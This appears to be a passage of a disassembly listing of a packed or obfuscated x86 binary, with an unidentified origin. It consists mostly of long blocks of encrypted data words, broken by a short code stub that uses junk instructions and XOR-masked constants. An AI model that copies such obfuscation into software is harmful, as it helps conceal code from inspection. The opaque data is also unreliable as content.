		dd 69236FE6h, 48BF4264h, 69E02F84h, 87FE03A5h, 0A41BE4C3h
		dd 0DEB662DBh, 7119AE62h, 0F37CC639h, 0D3A16F47h, 0E61B8B1Fh
		dd 0B373AC54h, 45690DF2h, 58181295h, 751DAF52h,	0D3A201D9h
		dd 3CE0941Fh, 3D6D2DAAh, 0EA4DA0C4h, 0D1822EA7h, 5615F0AFh
		dd 0DE9E2BA2h, 74E4B2CBh, 0AC002E70h, 0B45B5808h, 4C567A22h
		dd 1184B335h, 34D90F98h, 71814638h, 7E37D3F7h, 131C1044h
		dd 352CCC5Fh, 0B0BA742Dh, 890287h, 2D9E31CAh, 2CDC5798h
		dd 0C8648887h, 0B1116E43h, 0F6E0BAF0h, 0C60B247Ch, 0FE399022h
		dd 366128Bh, 0B0B736A9h, 0E4C383FCh, 0C468990Fh, 8B37C04Dh
		dd 0C736E7B3h, 0BE6E9246h, 0BD9541E9h, 50C736E7h, 3291F89Ch
		dd 97514B13h, 187E201h,	75370000h, 5451158Ch, 3A7034ABh
		dd 1D8C50C7h, 0FFA76BE2h, 853F8B02h, 64DB2680h,	85FC13A0h
		dd 0A31AE7C1h, 0C037C8DFh, 0FAD27EF7h, 8D19AE61h, 0F37CE255h
		dd 0A1E6BE6Ah, 0C5791FD3h, 0D3A15129h, 0C30E41Fh, 22B44B5Ch
		dd 98701CA5h, 2B1FD3A1h, 1FC33C6Bh, 0FA8FA8FBh,	0B538D581h
		dd 21D515F0h, 95A233AAh, 74DB8700h, 0E915F69Eh,	0DDDCB460h
		dd 0BB6F25F8h, 20899295h, 4BEF86CDh, 6A9512D2h,	0DA666F3h
		dd 0BE50AFF6h, 9E4E7216h, 0D64F609h, 42EE672Ah,	1C1BB4A9h
		dd 0F1C975FEh, 842C1DF4h, 0BF73ACD0h, 0E01F8646h, 248343BCh
		dd 7A064DBh, 280F66F8h,	8B40EC65h, 0D8223AD3h, 0DD6F9218h
		dd 24D81135h, 4127CCBDh, 423B9E4h, 0B9h, 47BE4369h, 66DD2283h
		dd 82F908A2h, 9D14EBBEh, 0BD34CDD9h, 0F8AEB771h, 0E5CE9209h
		dd 0B9EFB32Ah, 9A0DD148h, 0AC25EE65h, 0AE622800h, 1083BB19h
		dd 6F47F37Ch, 21FD3A1h,	60D72A4Eh, 9908B42Dh, 0DE15F69Dh
		dd 0DCD1A955h, 0B06425F8h, 269F538Ch, 30C24D66h, 1ED26488h
		dd 3BFF7689h, 8401936Ch, 0FC20EFC4h, 0FC597460h, 4B932288h
		dd 0B52ED1D6h, 97A1D37Fh, 2A5A4ABh, 0BE3559FDh,	0C052ADFAh
		dd 0D0629D0Ch, 0B201C13Eh, 0FF23CB5Dh, 0E0C75A84h, 0E21D8A4Ah
		dd 0FC9B6E46h, 0A94D01A0h, 96FA532h, 0F0364DF9h, 0C5E292B6h
		dd 6B2BA83Ah, 8B33C53Ah, 34C67h, 0A7D50000h, 9A674540h
		dd 0AC535408h, 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h
		dd 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh, 0EC8386A2h,	243C8904h
		dd 0C781E789h, 4, 8704EF83h
		db 3Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	3DF6h
		mov	[esp], ebx
		mov	ecx, 34B725F3h
		shr	ecx, 4
		sub	ecx, 4B306719h
		push	eax
		mov	eax, 0BE3E30EAh
		xor	ecx, eax
		pop	eax
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	1ABFh
		mov	[esp], ecx
		xor	dword ptr [esp], 6210271h
		pop	dword ptr [ebx+8]
		xor	dword ptr [ebx+8], 6210271h
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		db 0ACh, 27h, 0E1h
		dd 0BAB88FFEh, 3062541h, 0B4E0FFC5h, 0D529DB9h,	0F356CBD8h
		dd 0E313B6B3h, 872B6DD1h, 9B39FD85h, 4F3923F5h,	0A95E9F65h
		dd 48129C6Fh, 41223ADCh, 5B539150h, 0E82AEC07h,	0Ah, 0B3C2C4B4h
		dd 86050A51h, 81665D89h, 59D5D9D3h, 14E9h, 0D9B77300h
		dd 0DF09EA93h, 0ECEE56AFh, 2E773A5Dh, 0A31ADD75h, 0DDC18107h
		dd 0E8000067h, 6, 0E19AC295h, 0DF8B4AFBh, 19C5B85Eh, 0FC530000h
		dd 0F398B5Ah, 58Bh, 0D7DEBE00h,	0EF810262h, 5DD54C0Bh
		dd 4840Fh, 0BE660000h, 0EF811FB6h, 6229F288h, 0EE8h, 0A8B22D00h
		dd 0F0F4D807h, 3F8968B5h, 5BE0E82Dh, 6ABBEF81h,	81605B4Eh
		dd 0DC5933CBh, 7E963h, 61460000h, 2DDBF59Dh, 3989614Ch
		dd 5EF78B53h, 0F02E983h, 0B87h,	5830F00h, 0BA000000h, 3E113EDCh
		dd 80604949h, 0BA56E2E0h, 2E067096h, 0E883615Bh, 7E850F01h
		dd 81FFFFFFh, 6CD2C7C3h, 8EB1Bh, 2E000000h, 0E9561D1Dh
		dd 494h, 25448A68h, 3A08E906h, 368FFFAh, 0E9062545h, 0FFFA39FEh
		dd 25464C68h, 39F4E906h, 0F5B7FFFAh, 0D4D1950Ch, 0BAF0B42Bh
		dd 9D0CD047h, 7F27EB62h, 5BF0B82h, 0E45BA600h, 57C9320h
		dd 239A6741h, 40B7485Fh, 7A52FE77h, 0D19AE5Eh, 614562D5h
		dd 3E6727A0h, 63872FC1h, 5A1E54D1h, 6DABDE60h, 2A7D2D51h
		dd 0A9C5CD5h, 0F55CD3F7h, 4DD64F42h, 0D374C9A1h, 3EC3E51Fh
		dd 0B42D5105h, 0F067F308h, 3ACC8015h, 0F2A6C69Ah, 31AD2C25h
		dd 74474F0Ah, 2BC5E09h,	15D50000h, 36DE7091h, 4789C310h
		dd 70946064h, 4B7FEB0Dh, 0C37927ECh, 822D6EFDh,	9E46D827h
		dd 1DDD56FAh, 0DB547889h, 0EF91762Fh, 0C4570B15h, 0D4F8D724h
		dd 8CFD3A22h, 0AB53E51Ch, 0F5E28E07h, 72197418h, 930F45BEh
		dd 35EF176Ch, 0E037C9EDh, 0DB93257h, 1F93916Ch,	0A9565111h
		dd 52CB6F17h, 90681592h, 0DFE1A879h, 0C8FE771Bh, 0B749ACB1h
		dd 2AA1C5DAh, 0F4B24166h, 3502690Dh, 30F9EA4Bh,	2D67B9Ah
		dd 0F1BB0000h, 0D0D59910h, 0B6F4B82Fh, 9910D44Bh, 7B2BEF66h
		dd 9C30F86h, 0E85FA204h, 9808F24h, 279E6345h, 44BB4463h
		dd 7E56027Bh, 1119AE5Dh, 95A266D9h, 68DB8700h, 0F515F6E6h
		dd 0FA8C7535h, 7535AE52h, 0CC59D031h, 43679A0Ch, 0DD6C1393h
		dd 7E499D68h, 6E46F26Bh, 125F964h, 9A17A94Dh, 8434CBDAh
		dd 1CB8DC23h, 25F9644Dh, 4CB34C5Bh, 0F00DEC95h,	5DBBDA70h
		dd 42000002h, 5C20976Ah, 7B3FB649h, 975BD22Fh, 0B276ED12h
		dd 4A960DF4h, 0E8198D90h, 906AD71h, 27DACE92h, 44BBECB0h
		dd 0DF8B04CDh, 19AE5D07h, 0A2EF629Ah, 0DB870095h, 15F6E668h
		dd 0F7A32CB5h, 25F8E61Fh, 8A62FEB2h, 1D25F8E5h,	11B54A5Dh
		dd 8700B4EDh, 0E57A52FEh, 590D25F8h, 2F03A335h,	9525F8E6h
		dd 5A90C816h, 0D1A57289h, 29BFE3F1h, 94E7D50h, 1497Dh
		dd 62450A00h, 50570B9Dh, 66D138AFh, 6121AA23h, 0F793B748h
		dd 15F0A9E2h, 5FAAF6Fh,	18E9BF73h, 0C13ED074h, 0CA5CA501h
		dd 8E62FE22h, 0F425F2A8h, 87D26975h, 26097441h,	48h, 9068149Dh
		dd 2325F2B0h, 0B116EE9Ah, 0F5A925F2h, 7CCA2D51h, 0A00AE9BCh
		dd 8327CF61h, 662B0C5Fh, 867B2DEDh, 0AF284CF4h,	0F0815E03h
		dd 0C5570B15h, 0E01F8848h, 0C14C20BCh, 33B225F2h, 5CC990ABh
		dd 8AE40974h, 71000000h, 0B9D6245h, 20B24F57h, 0A4423B6Ch
		dd 34E850BBh, 15D54EF2h, 0B94B6F90h, 0E65DA205h, 0D31C4836h
		dd 0AC53541Fh, 4C337333h, 0E2CA9F4Eh, 183CE065h, 98FD3AA1h
		dd 0E98E731Fh, 873B15F4h, 0A9584E0Eh, 0C9386E32h, 9A9C162h
		dd 0C7E67CF0h, 114h, 0D74EB3F9h, 0F66D9213h, 12897832h
		dd 2DA45B4Eh, 4DC43D69h, 683E4701h, 555E2299h, 297F43BAh
		dd 0A9D61D8h, 3CB57EF5h, 0AE5BB890h, 0A0134B19h, 29A06145h
		dd 46BD4265h, 9D6245CFh, 0BC436424h, 55520698h,	1DA633AAh
		dd 0D3A19971h, 54782C1Fh, 60473601h, 0D682FB9Fh, 15F0F092h
		dd 5010893Dh, 8434AB56h, 25F2EFB0h, 0A51CE3C4h,	0AA3CC5E1h
		dd 9F8Bh, 95A21400h, 64DB8700h,	0B915F6E6h, 0E5AC8430h
		dd 8B3F25F8h, 0F8F82E67h, 0A49080E4h, 7024B65Ah, 8D51C837h
		dd 33CCD91Ah, 4A80FD8Fh, 7D061F0Ah, 22FAA68Dh, 0B525F8B2h
		dd 9D395D01h, 0F6110852h, 0E2304D58h, 8E26619h,	2EE27418h
		dd 0B2F3857Ch, 7076B727h, 708523E3h, 9224C837h,	934BC6EAh
		dd 6FE6198Eh, 8A03FCABh, 8E20DFCAh, 52A12664h, 6D11FC83h
		dd 7A3AB749h, 9C44D639h, 1EE1C878h, 637BFA8Ch, 9F16E9BEh
		dd 0A133CCDBh, 0F82h, 0BC7C0B00h, 639E0AE9h, 0F38529D1h
		dd 72D9274Bh, 89A6745h,	1AAC5354h, 2DBF4266h, 43D53A79h
		dd 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh
		dd 6E986886h, 34890000h, 25DD6824h, 0C890000h, 61456824h
		dd 3C890000h, 4EC8324h,	0BD242C89h, 625438Eh, 685DE989h
		dd 5D70h, 81242489h, 42404h, 525F0000h,	8BAh, 50FA0100h
		dd 289C889h, 3C8B5A58h,	0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 50240C8Bh, 405E089h, 83000000h, 48704C0h
		dd 8BE95C24h, 21FFFA35h, 0DD678920h, 0F39615C4h, 0F4B658C2h
		dd 254785B8h, 0FFC50306h, 3DCB29E0h, 823F2B0Dh,	0DFB76D7Dh
		dd 0B555357Eh, 1449F145h, 0C6365A11h, 0D2A1A62Ah, 19472C52h
		dd 7E1E2361h, 6814378h,	0B897B538h, 9A013922h, 4074376h
		dd 97694B35h, 0A4C2F85Bh, 0EF260708h, 7C06E84Eh, 818B7A14h
		dd 3EE85375h, 32565DB1h, 666ACF3h, 325655F3h, 3256ABB1h
		dd 5C94D5B1h, 9D10EAE9h, 325675E8h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h, 325757BBh
		dd 325AABA7h, 324AD5B7h, 3256E9C8h, 325677F7h, 0F27DB8F7h
		dd 3ABF3DE3h, 1256AEB1h, 7E29C968h, 0B8CD0124h,	359B464h
		dd 0EBDD8CD1h, 35927E1h, 6837E2EBh, 3D360DE9h, 37BF560Eh
		dd 8B5657B1h, 47FAF44Fh, 6B0543D0h, 5336DBBEh, 0BB372DEBh
		dd 23C59E8Dh, 62370468h, 6006FCE1h, 35936D1h, 359F9E1h
		dd 6A0C8DEBh, 0DB36DBBEh, 325675B8h, 0B255080Ch, 9E09A308h
		dd 530CFFC4h, 8DC30FEBh, 3597E3Dh, 0E5726ED1h, 0B930CF38h
		dd 6A0C1472h, 8D88A323h, 0E9BC883Dh, 53001B2Ch,	33C40FEBh
		dd 0FC24C17h, 0B565683h, 0C77A35CFh, 0AECB8E3Bh, 3256B158h
		dd 9F928AB1h, 9B66DD53h, 570A989Fh, 7AB02AD7h, 32503C4Dh
		dd 0F550EAB1h, 51C46845h, 32DDDB2Ch, 32564958h,	0D88322B1h
		dd 84072F6Ah, 70DB8F06h, 0BCDF45E2h, 0A813561Eh, 1612FC7Ah
		dd 0C0E9DAB5h, 8D11AA94h, 2B1B018Fh, 3590FD0h, 3256AD58h
		dd 86D113B1h, 6875B86Ch, 32562DE9h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 0DA36EAB1h, 325675B1h, 26BC3BEBh, 0BF5078FAh, 16C76434h
		dd 58D4DEB7h, 0BF508EF9h, 17849B33h, 5CD463B7h,	0DA5050F9h
		dd 3256B3FFh, 32562659h, 68D469B1h, 325072F9h, 6056ABB1h
		dd 12735077h, 5A00ECAEh, 0AEFECDE3h, 270F4Eh, 0B7DB5BAEh
		dd 3474D722h, 0B7DF874Eh, 3449B440h, 323ED1DBh,	5A56EAA1h
		dd 325578F1h, 0E2A9BADBh, 469656EBh, 68D42782h,	0BB5072F9h
		dd 171EF533h, 3F166CB7h, 0CADDEAB2h, 98A5B582h,	5A52D0E3h
		dd 32564DB1h, 3252AED9h, 0CD563DB1h, 2D495A23h,	0B0DF8FB7h
		dd 3473A21Fh, 68D3FED0h, 0F1509FF9h, 0C3D49AD1h, 3250B1B1h
		dd 0F55617B1h, 2D496E33h, 3246D5B7h, 52958BB1h,	7A0CCF3Ah
		dd 0DD5BC94h, 0B17529B1h, 4654BECEh, 2229D4BAh,	0B158DFB5h
		dd 0D8BDC176h, 3346AD76h, 0D95675B1h, 22117D43h, 32565DB2h
		dd 0F137475Ah, 52BADCE4h, 3256AB59h, 0D8D78FB1h, 3473A6B8h
		dd 7AE4C73Ah, 77DDBC94h, 0B150D4B9h, 171E1C33h,	0FB3753B7h
		dd 5256AF73h, 3256D559h, 0D8D7B0B1h, 3473399Ch,	7AF8083Ah
		dd 806D5B94h, 3473E603h, 0CDD6CC5h, 8459743Ah, 75A0D4FEh
		dd 36236AB0h, 30BDACB2h, 7115639Ah, 355FD83Ah, 0BFDDA8AEh
		dd 34495F40h, 3B24738Ah, 37210C8Ah, 0D9522C32h,	46994E78h
		dd 0C3EB33B9h, 0D95042B9h, 5295CF06h, 32565759h, 0D8D7F1B1h
		dd 34739934h, 7AF8503Ah, 32EF7394h, 156BAB0h, 0B9FDAE71h
		dd 171E0033h, 80D4DEB7h, 53508EF9h, 32BEB572h, 6856EAB1h
		dd 7EF99F30h, 0B790BC94h, 34497D94h, 5F6FC6E7h,	87A983AEh
		dd 344999C0h, 4BC5503Ch, 0E2A9EC93h, 323E25E3h,	5856BA31h
		dd 68E4A2B1h, 0CD508BF9h, 5A0C0F61h, 32562BB1h,	80A9D5DBh
		dd 3473A21Fh, 0F137A54Eh, 52BA31E4h, 32565D59h,	0D8D7F4B1h
		dd 34731B4Ch, 0DA5EDE3Ah, 3256D729h, 58C415E4h,	6F5050F9h
		dd 475ACF8Ah, 30D0B55Fh, 0FB37AEB1h, 67565F73h,	0F6D5473Ah
		dd 6101834Dh, 3256EA59h, 0D8D72FB1h, 3473F780h,	0B95E283Ah
		dd 6401BECCh, 32566059h, 4696A0B1h, 67AE5E90h, 7A3C784Eh
		dd 90B7394h, 2022B6C4h,	0B248D6D7h, 2CDC5E56h, 0DAA6B431h
		dd 3256AD2Ch, 4FDF015Ah, 0CC0B024Dh, 6D0D8A4Eh,	0CE1331EFh
		dd 325A9F78h, 0B1BA25E4h, 6401AF75h, 7791F8E0h,	3256D549h
		dd 0A8D42DB1h, 335050F9h, 0B956BAB1h, 0B93055C4h, 68EC25AFh
		dd 0B95072F9h, 0E95DA3EEh, 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh
		dd 0D9427D32h, 2CDD3B5Bh, 3DBE5531h, 32569935h,	0DBAD2BB1h
		dd 329351BEh, 0C9D6EAB1h, 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah
		dd 3256AE1Dh, 3DB5AC31h, 32563135h, 0C9D7B3B1h,	0B65909D6h
		dd 32567529h, 54A65D31h, 0B259A630h, 32C72ABEh,	0D1D657B1h
		dd 42AD2B41h, 32D351BEh, 0B930EAB1h, 0CAB5F5AFh, 46EE4131h
		dd 3768DDF3h, 0CD693C5h, 0B26E239Ch, 122C38Fh, 7ACC574Eh
		dd 0B930EC94h, 0CAB1F5AFh, 0B3AD3BD7h, 54762959h, 0D5D6B03Ah
		dd 0C9D73141h, 21226B30h, 0A0A980D1h, 3473A2DBh, 0CE13FCECh
		dd 0CE2B39D0h, 0B93528B0h, 2D565F0Bh, 0B0DD07B7h, 3473E32Bh
		dd 6A66E988h, 88DDBAC3h, 34496A74h, 0A8D431E1h,	0B5078F9h
		dd 4D0E9E8Dh, 0F546BC8Ch, 325453F4h, 35BDD5B1h,	33AEAF76h
		dd 0B95675B1h, 171EE00Bh, 3949D6B7h, 949DA6Ah, 0B959226Fh
		dd 4FD5A7ECh, 3122D549h, 0BBAEB7B2h, 0F5D571EEh, 1B451A5h
		dd 3296B471h, 0B930AEB1h, 3E2BDCAFh, 46BD5031h,	0C2B555BBh
		dd 46261131h, 0F4649EA7h, 759153B6h, 32565DB0h,	0B19125B1h
		dd 0A5BF5271h, 5456ABB1h, 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh
		dd 0F557E539h, 32565FF6h, 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h
		dd 3D224521h, 47C6D431h, 4CD713BFh, 46C62A4Eh, 0B952B6B3h
		dd 0BF094576h, 171EE133h, 0CD00FBB7h, 171EBB23h, 4696E1B7h
		dd 0BF9EFEBBh, 171E0C03h, 6446B6B7h, 0CD03603Ah, 171E3D23h
		dd 0FC7DF6B7h, 0B1080C46h, 475712CCh, 981FC5A1h, 0B75902D7h
		dd 8459F6D7h, 0D9FDAFF7h, 0CA2BD4AAh, 5445DEB3h, 549FDE09h
		dd 3DEE8C1Ah, 3DFD1335h, 9957FC07h, 96A55F5Ah, 6B0D693Ah
		dd 0F09F08EFh, 0B903ABB9h, 32BEB55Dh, 6856EAB1h, 7DD99F30h
		dd 77DDBC94h, 50D4D4B9h, 53508BF9h, 32529578h, 0B1BA20E4h
		dd 0DA362D75h, 3256EAB1h, 82BCF4EBh, 0F5509FFEh, 3256A5F4h
		dd 7791AEB1h, 3256574Dh, 549698B1h, 0B091CB3Ah,	3473A22Bh
		dd 325675B0h, 0A2AD3BD7h, 0B2562821h, 0B659464Ah, 325656B9h
		dd 0DBAD2BF1h, 32A851BEh, 0B216EAB1h, 0B6599E4Ah, 3256BA45h
		dd 0C2B1DDF1h, 3DAD2FD7h, 0D7D25831h, 3156ABB1h, 2D436433h
		dd 0C9D6AAB7h, 0FCD27A53h, 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh
		dd 55ADD6D7h, 88D2A452h, 0B256D5B1h, 0C9D61A52h, 87D27AC1h
		dd 5456BAB1h, 0D1D6433Ah, 8AAD2E49h, 0CD610C5h,	0B214DFB4h
		dd 0F22F88Fh, 463ED431h, 0B0A93589h, 3473F22Bh,	0B248D6D7h
		dd 0B3305656h, 46BED64Ah, 2CDDCD95h, 54A63231h,	0F2D71130h
		dd 673662C5h, 7A3C284Eh, 0BB0B5B94h, 0B13752F4h, 3D57ABCCh
		dd 32578334h, 0C3EC5EB1h, 6250F5B1h, 7ACCF73Ah,	0E6FBC94h
		dd 0B0590581h, 3256AFA0h, 2D93ED3Ah, 0B906ADAEh, 171E4F33h
		dd 26AD3B7h, 0C8D97AE9h, 0B956BAB1h, 171E030Bh,	6CD42DB7h
		dd 265072F9h, 75DF9C38h, 0B0DD85A1h, 3473A22Bh,	6A66693Ah
		dd 0DB5EE538h, 32565D64h, 30AEEB76h, 0D95657B1h, 0CA136CB6h
		dd 3256D5B0h, 7A08503Ah, 0B0D57394h, 3473F2EFh,	0BB61D4A5h
		dd 0CAD5BEF6h, 0F55A22B2h, 171E3133h, 3256D7B7h, 0B15301B1h
		dd 6D2B7749h, 32AEC732h, 845946C5h, 0B2FFAFF7h,	475657B1h
		dd 0DAD5EBB7h, 1F5E3EB4h, 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh
		dd 3473152Bh, 6965AA3Ah, 32565718h, 3142DE31h, 37965677h
		dd 7ACC68B2h, 0BB1E7394h, 75DFB2F6h, 0C500B6BDh, 0C5908569h
		dd 3796D469h, 7ACC29B2h, 0BB1ED394h, 75DFE2F6h,	1689EBDh
		dd 33103071h, 1323DD19h, 0F2D568B2h, 3257ECB3h,	0E95DABB1h
		dd 0A8DCDCC5h, 34727C99h, 31579631h, 3A113372h,	0D95A1A38h
		dd 178E59A5h, 3256574Eh, 0EAA16D9Ah, 0BB541532h, 75DFE2F6h
		dd 0FB378DBDh, 0DEDDEF72h, 52AA9932h, 3256AE59h, 0D8D70DB1h
		dd 3473FA70h, 7A0C6F3Ah, 0FB65EC94h, 3D564A32h,	32567835h
		dd 0CD51D6B1h, 47A9A2C4h, 41BE07B9h, 4156ABB0h,	269156B4h
		dd 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh, 330AB586h,	0B059AEB1h
		dd 32565726h, 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h, 4DD589F4h
		dd 3A22BAB5h, 325A2232h, 3CBDACC5h, 0CDA9A809h,	3253124Eh
		dd 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h, 0B9174CC4h
		dd 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h
		dd 3A094EBDh, 0B904AFC4h
		dd 677D59E6h, 2603ADA1h, 195A083Ah, 37BD286Bh, 0B9443EEBh
		dd 6DDDEEF6h, 36095EBDh, 31535132h, 2D50183Bh, 22292DB7h
		dd 735722B2h, 6EDF729Ah, 0CDEED4B0h, 8BA9154Eh,	325675B4h
		dd 64BF1142h, 53A9A24Eh, 32466C78h, 0B1BADCE4h,	0DA365775h
		dd 3256D5B1h, 9EBC6BEBh, 0B95050E3h, 171EE00Bh,	0B19F6EB7h
		dd 0B659AE8Eh, 32565720h, 47A9AC3Ah, 3A232ABDh,	32DE02E1h
		dd 372575B1h, 0D9427D32h, 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h
		dd 3256DA59h, 0B93CA7B1h, 356F16F4h, 77A916C3h,	3629394Dh
		dd 0B15E29B1h, 4656A2CEh, 8A58BCB3h, 0CDA9544Eh, 3256D008h
		dd 0D9FD19B1h, 2229F67Ah, 0B159CEB4h, 47504DCEh, 75DDEFA0h
		dd 3E09DCB5h, 75DDB65Ah, 3E095EB5h, 75DDF95Ah, 3E09FEB5h
		dd 0B152E59Ah, 4DD5585Ah, 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh
		dd 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h
		dd 77DDCE5Dh, 3E136CB9h, 776DA3C3h, 0CA55A2A1h,	0D9AFE95Ah
		dd 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh, 325646D1h, 0B30C57B1h
		dd 1705295Bh, 19FE6B7h,	0CE0B636Ah, 7A0CCF3Ah, 0DD5BC94h
		dd 0B13229B1h, 3723518Eh, 0D9429032h, 36292840h, 0B15EA1B1h
		dd 4656E6CEh, 0CD5E9EB3h, 0F5D546F4h, 0B18DB6A5h, 4653BECEh
		dd 2229D4BEh, 7347DEB7h, 0B952923Ah, 2FBDE6EEh,	0B952323Ah
		dd 21BDB6EEh, 0B9521A3Ah, 6D7DA2EEh, 37BDD4B5h,	3146D432h
		dd 1917D4C4h, 330A6368h, 0CDA9CDB0h, 37EF454Eh,	0C1565DB1h
		dd 53C1451Ah, 0FBAA123Ah, 6107FB72h, 3256D559h,	0D8D7B0B1h
		dd 347321BCh, 7A24203Ch, 56EE5B94h, 0DA56AEB1h,	32565763h
		dd 0F36DA03Ah, 7955C15Ah, 4097D1B5h, 221D76A6h,	30247B8Ah
		dd 26BD5F5Ah, 0A8DBBC5Ah, 3473E442h, 3ABD784Eh,	854F4F3Ch
		dd 0E1A9EC94h, 0F10E2CEAh, 0DABA31E4h, 32565DB1h, 6EBC2FEBh
		dd 525072E5h, 7A24113Ch, 77DDD394h, 0B95163B9h,	75DF79F4h
		dd 221331B5h, 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h
		dd 2D76F034h, 283EADB7h, 0CDFE62C2h, 2D64CB04h,	0A1D3D0B7h
		dd 0CD508CC8h, 0B8DB0561h, 3473E32Fh, 68862AE0h, 7AC8683Ch
		dd 85597394h, 0EADDB6F1h, 686752E3h, 0B0DF6DB2h, 34495908h
		dd 5251C3D0h, 0E8h, 0EA815A00h,	62554CDh, 0B9828B52h, 0B9061F0Eh
		dd 41C64E6Dh, 55AE1F7h,	3039h, 0FFFFFF25h, 0B982897Fh
		dd 5A061F0Eh, 5251C359h, 0E8h, 0EA815A00h, 62554FDh, 0BBE8C88Bh
		dd 33FFFFFFh, 8BF1F7D2h, 0C3595AC2h, 0C08BC08Bh, 4B0E858Dh
		dd 0D0FF0625h, 8DC18B66h, 2554C685h, 99858906h,	8D061F16h
		dd 2554F685h, 0C9858906h, 0B8061F08h, 0
		dd 840FC00Bh, 47h, 202585C6h, 6856061Fh, 0A9C530DFh, 3271B5FFh
		dd 858D061Fh, 6227993h,	8D50D0FFh, 1F05FD8Dh, 46A5106h
		dd 100068h, 0CDB5FF00h,	0FF061F05h, 0CDBD8BD0h,	3061F05h
		dd 0C7813C7Fh, 0F8h, 202447C7h,	8D600000h, 1F19459Dh, 0B038B06h
		dd 5840FC0h, 8B000000h,	4438900h, 234CF6B9h, 438D8D00h
		dd 8B062556h, 1F1D01B5h, 5D8D8906h, 6A061F0Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 7B8DC357h, 85C7D78Bh, 61F20C5h, 631Ch, 0C94458BBh, 0C703B456h
		dd 1F137D85h, 6, 57D78000h, 1575B5FFh, 8589061Fh, 61F1C61h
		dd 2D5995FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 6967E5C3h, 0BEAE33FFh, 13757F40h
		dd 0DBD8D29h, 8589061Fh, 61F10D9h, 95FF006Ah, 61F1D45h
		dd 0FEBC08Bh, 274AA3EFh, 190CC9BFh, 2C055847h, 0E83E7308h
		dd 10h,	778480C9h, 0C17F1EC8h, 0EA65C71h, 0E9B4282Bh, 23D18501h
		dd 15A061Fh, 1F0A358Dh,	0A7C28106h, 6600005Bh, 0DE0EE81h
		dd 5F6B1BFh, 75F78168h,	0F6805E0h, 68Dh, 0A1950100h, 8B061F1Eh
		dd 0F3B70F0Ah, 28D0E981h, 0E58A1A18h, 58F1F181h, 8D8954A7h
		dd 61F2EA1h, 36FF181h, 8D893537h, 61F2BD5h, 28FFC51h, 0E36EB866h
		dd 0E804EA83h, 0Eh, 8F38A6AEh, 40794905h, 55699DEDh, 852B2502h
		dd 61F18D5h, 1EF8158h, 0F000000h, 0FFFFAA85h, 6DB58BFFh
		dd 8D061F05h, 2557948Dh, 6DBD8B06h, 66061F2Eh, 439ED081h
		dd 0B5D8D89h, 85C7061Fh, 61F20C5h, 5CE4h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 0A0C35242h, 33DB589h
		dd 8C0F061Fh, 6, 0F5DBD89h, 85C7061Fh, 61F137Dh, 0
		dd 1867E381h, 0B5FF4318h, 61F157Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 10C35747h, 0E41A509h, 3E97668Ch
